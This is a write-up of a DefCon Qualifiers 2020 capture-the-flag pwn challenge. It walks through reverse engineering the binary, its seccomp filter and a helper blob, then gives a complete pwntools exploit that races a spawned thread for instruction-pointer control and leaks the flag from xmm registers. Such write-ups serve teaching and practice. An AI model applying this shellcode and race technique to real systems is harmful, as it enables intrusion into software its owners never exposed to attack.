This is a pwn challenge I worked on for DefCon Qualifiers 2020.
I was playing with secret crown wtf a stacked team consisting of secret club, the cr0wn, and emwtf, which came in 18th on the scoreboard.
The challenge came with a single statically compiled binary.
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Reverse Engineering
FLIRT and function ID signatures were used to identify some static functions. Ultimately a lot of tedious RE work was needed which eventually revealed a seccomp “sandbox”.
Proof of Work
The program generates 0x10
bytes of random data, then reads 0x30
bytes.
This is then hashed to ensure the first 3 bytes are 0x00
.
Figuring out the hashing algorithm required some manual inspection of the function. Googling the relevant libsodium headers gave me the signature.
Spawning the Other Thread
mmap
a region of size 0x1000
, starts a thread with a stack address in its own stack, reads in 0x1000
bytes of shellcode, and waits for the thread to be ready.
After this it sets up seccomp and calls the shellcode.
Seccomp Rules
By patching out the jump to shellcode with exit, I was able to dump the rules using seccomp-tools
.
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x0f 0xc000003e if (A != ARCH_X86_64) goto 0017
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x0c 0xffffffff if (A != 0xffffffff) goto 0017
0005: 0x15 0x0a 0x00 0x00000001 if (A == write) goto 0016
0006: 0x15 0x09 0x00 0x00000003 if (A == close) goto 0016
0007: 0x15 0x08 0x00 0x0000000b if (A == munmap) goto 0016
0008: 0x15 0x07 0x00 0x00000038 if (A == clone) goto 0016
0009: 0x15 0x06 0x00 0x000000e7 if (A == exit_group) goto 0016
0010: 0x15 0x00 0x04 0x0000000a if (A != mprotect) goto 0015
0011: 0x20 0x00 0x00 0x00000024 A = prot >> 32 # mprotect(start, len, prot)
0012: 0x15 0x00 0x02 0x00000000 if (A != 0x0) goto 0015
0013: 0x20 0x00 0x00 0x00000020 A = prot # mprotect(start, len, prot)
0014: 0x15 0x01 0x00 0x00000000 if (A == 0x0) goto 0016
0015: 0x06 0x00 0x00 0x80000000 return KILL_PROCESS
0016: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0017: 0x06 0x00 0x00 0x00000000 return KILL
Since we don’t have open
and execve
, we can’t open the flag file or spawn a shell.
But we have write
.
The Spawned Thread
The thread opens the flags and reads it onto the stack.
It then opens bozo.bin
and maps one page to memory with read and execute permissions.
It then releases the main thread from wait and executes code in the mapped region.
Debugging
I break on entry with int3
for the register state.
We have register r13
pointing to our shellcode and rsp
obviously pointing to the stack.
Further inspection shows that the cloned thread’s stack is about 0x10c0
bytes away.
What matters is the fixed offset.
The missing piece here is bozo.bin
.
Luckily it is also mapped to a fixed offset of 0x1000
from our shellcode so we can dump the contents from the remote server.
bozo.bin
Here’s the disassembled dump of bozo.bin
.
rdi
is a pointer to stack, and rsi
is a pointer to our shellcode region.
The stack (which contains the flag) is read into xmm
registers, then cleared with data from our shellcode.
This is why dumping the child stack from our shellcode only resulted in garbage.
This thread then waits for the data pointed to by rbx
to match what’s in xmm7
.
In this case, it was looking for 0x01
, so we have a way to keep the child thread locked until our command.
It calls 0xbe8
, which writes 8 dwords
at random locations in our shellcode region, then returns.
rip
control
call
stores a return address in stack and ret
read from it.
So we can use our shellcode to race the spawned thread, repeatedly overwriting whatever is at the location of the return address with an address to code we control.
Spawned thread rip
control let’s us dump the xmm
registers, hence leaking the flag - win.
Here’s my exploit.
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# This exploit template was generated via:
# $ pwn template ./cursed --host cursed.challenges.ooo --port 29696
from pwn import *
from hashlib import blake2b
# Set up pwntools for the correct architecture
exe = context.binary = ELF('./pow_patched')
# Many built-in settings can be controlled on the command-line and show up
# in "args". For example, to dump all data sent/received, and disable ASLR
# for all created processes...
# ./exploit.py DEBUG NOASLR
# ./exploit.py GDB HOST=example.com PORT=4141
host = args.HOST or 'cursed.challenges.ooo'
port = int(args.PORT or 29696)
def local(argv=[], *a, **kw):
'''Execute the target binary locally'''
if args.GDB:
return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)
else:
return process([exe.path] + argv, *a, **kw)
def remote(argv=[], *a, **kw):
'''Connect to the process on the remote host'''
io = connect(host, port)
if args.GDB:
gdb.attach(io, gdbscript=gdbscript)
return io
def start(argv=[], *a, **kw):
'''Start the exploit against the target.'''
if args.LOCAL:
return local(argv, *a, **kw)
else:
return remote(argv, *a, **kw)
def proof_of_work(nonce):
log.info(f'Processing POW for {nonce}')
for i in range(2 ** 384):
work = i.to_bytes(48, 'little')
hsh = blake2b(nonce + work, digest_size=0x10).digest()
if hsh[0] | hsh[1] | hsh[2] == 0:
log.info(f'Computed proof of work: {work}')
return work
# Specify your GDB script here for debugging
# GDB will be launched if the exploit is run via e.g.
# ./exploit.py GDB
gdbscript = '''
tbreak *0x{exe.entry:x}
tbreak *0x40a0c8
'''.format(**locals())
#===========================================================
# EXPLOIT GOES HERE
#===========================================================
# Arch: amd64-64-little
# RELRO: Partial RELRO
# Stack: No canary found
# NX: NX enabled
# PIE: No PIE (0x400000)
io = start()
# Do POW
if not args.LOCAL:
proof = proof_of_work(io.recv(16))
io.send(proof)
else:
io.send(b'A' * 48)
# Return address offset: 0x10c0
# Release the child process from waiting
# Race the child for RIP control
main_thread = asm('''
mov rsi, rsp
sub rsi, 0x10c8
mov rax, r13
add rax, 0x400
mov rbx, 1
add r13, 0xff8
mov [r13], rbx
_race_loop:
mov [rsi], rax
jmp _race_loop
''')
child_thread = asm('''
mov rsi, rsp
movdqu [rsi], xmm4
sub rsi, 0x10
movdqu [rsi], xmm3
sub rsi, 0x10
movdqu [rsi], xmm2
sub rsi, 0x10
movdqu [rsi], xmm1
sub rsi, 0x10
movdqu [rsi], xmm0
mov rdx, 0x50
mov rdi, 1
mov rax, rdi
syscall
_loop:
nop
jmp _loop
''')
payload = flat({
0: main_thread,
0x400: child_thread,
0xff8: 0x00
}, length=0x1000, filler=b'\xcc')
# Send some random stack
io.send(payload)
io.interactive()
I think it’s a somewhat sexy solve.